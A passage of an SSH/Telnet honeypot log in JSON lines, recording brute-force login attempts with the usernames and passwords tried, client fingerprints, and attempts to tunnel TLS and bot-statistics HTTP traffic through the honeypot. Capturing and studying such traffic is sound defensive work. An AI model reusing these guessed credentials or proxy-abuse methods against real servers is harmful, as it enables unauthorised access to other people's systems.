\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:31.250776Z","src_ip":"173.208.188.210","session":"e06063fac634","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:31.289650Z","session":"e06063fac634","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:31.323351Z","src_ip":"173.208.188.210","session":"e06063fac634","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x83\\x90o\\x10\\xd0\\x02j\\x9b\\xa0Nvm\\xa5\\xd8\\xea\\x82\\xcd4\\x12\\xff.\\xffnD6\\xa2\\xad\\xf2\\xff\\x0c6\\x8c \\x99\\x88\\x17\\xaa\\x8e\\x8b\\x84\\x92P\\x8b\\xf0u\\xdb\\xbd^p\\xea\\xbe\\x10\\x8ah\\xd0M3lL\\xd1\\x17\\xd5x\\xa9\\xfe\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\x94\\xbe\\x19\\xf7\\xa2\\xfcU\\rL\\xc74\\x91\\x83\\x1fz\\xac\\x1d\\x86Lz6\\x83,\\xac\\xab\\xa7\\x96\\x0e\\n:\\x9ar\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x83\\x90o\\x10\\xd0\\x02j\\x9b\\xa0Nvm\\xa5\\xd8\\xea\\x82\\xcd4\\x12\\xff.\\xffnD6\\xa2\\xad\\xf2\\xff\\x0c6\\x8c \\x99\\x88\\x17\\xaa\\x8e\\x8b\\x84\\x92P\\x8b\\xf0u\\xdb\\xbd^p\\xea\\xbe\\x10\\x8ah\\xd0M3lL\\xd1\\x17\\xd5x\\xa9\\xfe\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\x94\\xbe\\x19\\xf7\\xa2\\xfcU\\rL\\xc74\\x91\\x83\\x1fz\\xac\\x1d\\x86Lz6\\x83,\\xac\\xab\\xa7\\x96\\x0e\\n:\\x9ar\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:31.326385Z","src_ip":"173.208.188.210","session":"e06063fac634","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:31.561584Z","src_ip":"101.79.165.43","session":"f71b579216e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49002,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb45e2f2e4d6","protocol":"telnet","message":"New connection: 128.199.8.54:49002 (159.203.135.109:23) [session: fb45e2f2e4d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:33.016602Z"}
{"eventid":"cowrie.session.closed","duration":"20.3","message":"Connection lost after 20.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:36.122413Z","src_ip":"173.208.188.210","session":"e06063fac634","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":64281,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0ee2fc1bcef","protocol":"ssh","message":"New connection: 23.175.50.51:64281 (10.17.0.5:22) [session: a0ee2fc1bcef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:50.211601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:50.215984Z","src_ip":"23.175.50.51","session":"a0ee2fc1bcef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:50.415291Z","src_ip":"23.175.50.51","session":"a0ee2fc1bcef","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:51.640615Z","src_ip":"23.175.50.51","session":"a0ee2fc1bcef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":60962,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fae8b432d69","protocol":"ssh","message":"New connection: 109.237.96.109:60962 (159.203.135.109:22) [session: 9fae8b432d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:55.583751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:55.588035Z","src_ip":"109.237.96.109","session":"9fae8b432d69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:55.678958Z","src_ip":"109.237.96.109","session":"9fae8b432d69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cuddles","message":"login attempt [root/cuddles] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:55.955715Z","src_ip":"109.237.96.109","session":"9fae8b432d69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:57.050154Z","src_ip":"109.237.96.109","session":"9fae8b432d69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":50596,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc875e941033","protocol":"ssh","message":"New connection: 63.141.242.2:50596 (10.17.0.5:22) [session: dc875e941033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:01.500294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:01.509526Z","src_ip":"63.141.242.2","session":"dc875e941033","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:01.695231Z","src_ip":"63.141.242.2","session":"dc875e941033","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:03.271051Z","src_ip":"63.141.242.2","session":"dc875e941033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":44070,"dst_ip":"159.203.135.109","dst_port":22,"session":"39b5201d358b","protocol":"ssh","message":"New connection: 193.37.70.224:44070 (159.203.135.109:22) [session: 39b5201d358b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:05.320831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:05.327462Z","src_ip":"193.37.70.224","session":"39b5201d358b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:05.423190Z","src_ip":"193.37.70.224","session":"39b5201d358b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yfcnz2003","message":"login attempt [root/yfcnz2003] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:05.707234Z","src_ip":"193.37.70.224","session":"39b5201d358b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:06.814775Z","src_ip":"193.37.70.224","session":"39b5201d358b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.113.53","src_port":34400,"dst_ip":"159.203.135.109","dst_port":22,"session":"adc40786aff1","protocol":"ssh","message":"New connection: 14.103.113.53:34400 (159.203.135.109:22) [session: adc40786aff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:08.199589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:08.204083Z","src_ip":"14.103.113.53","session":"adc40786aff1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:13.742045Z","session":"a0ee2fc1bcef","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:13.814820Z","src_ip":"23.175.50.51","session":"a0ee2fc1bcef","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; rv:80.0) Gecko/20100101 Firefox/80.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1158\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Z3U8M2lwS1ZsKmt9bSRjTg%3D%3D59yatDT31UTJKVCV%2FjuJHdlumWzgzxoMYNBLJj9yrFoq2e3JBUTIWKAeBxNqem8g9E3FaPJwtEGedTkxnXRx422Uhc4sL4yrA%2FG5xhqzEscxbD7LhblthHImgglqCHDTCb3wHPh6CMUFCUvZidC164umEUJ3Qf5HuD%2BYzlg7BhdO3DI2Oe9u2RABETHaqaaxICWJnnxV2jon2AlNFs9qaNNNEy8TDKo9BkzAavwSRN3aPbOdEROVsHSrD8NzYpjD70Tq6MYS1AS3ce9MiPhsct3mGzql0U5bCgqkZDhusA58ENPDD4UJO1OhK4PeoEPEuQ6A8RfPG7XPJ3nQHZffSsRT0sahzOXnkBtKUtJUi%2BNqN6btoBieg8%2FFq8kZn3i1nbCYTyQIdqJ%2BklFO4yaD3htYdUvw%2FuT5ZyVuLUofgU2XTN1IPmwgOH%2B0UeHsW56MYwtY3WqBj7zSdNqAPNJYwKf01OwTLs%2BESJyQAjYOve8ZyvyVRR5CeWPHtTtZOG2UZTt%2Bgx22BVE3e3W6QLb77nDw6ewUH6CNREgbObAW%2F6hfAtw5GMyrywiwRB5bvI726LHGOCLS%2FlJUuBv%2FK0mcaiLQwEuT0D8bihRdg233hr6b%2B7jmDRfnSy9GFSICn2DthwaMjFvHTRPL25PKpoinbSbjZkcLX0mBubj3D3KhTjrMLDKkQ8O1Dcg9o9C2pHJK8wwlxQkx3fJazjVMxCXZlSpCXmdhZ7qli4yK%2BlNupc5J1AN9mC60Wn9u%2BTHJ9fBFpBSZ2oDRG5mW7AGunHk%2FwdIso8YPqtAjmMKNZ5sejx9squZeh6UNEhXItkB7nf9wvjP6DpIOmVxwhfEI9JPVGH%2BXBWtTUn2ZaltnS2eG1c477gVqwEFLWtNyw5q2udiaMUb4PkyMIL9kTIXKqQEzeLvwvVthgz5nollxyJBqeMRqzRsJS97eorEwA8JzrzGxjyKD4rITu2n8Rc4H5heb0kw2sOkNhg%2B8F4Qu0W26dNjMEa5OjPzr2evnsXLlG8z%2BJnnTnU8AliGOVbf1bj37yfPZsQSSbKOwTzHWDyvipIpURWjjFkwOheD3sGuSs9Uu'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; rv:80.0) Gecko/20100101 Firefox/80.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1158\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: 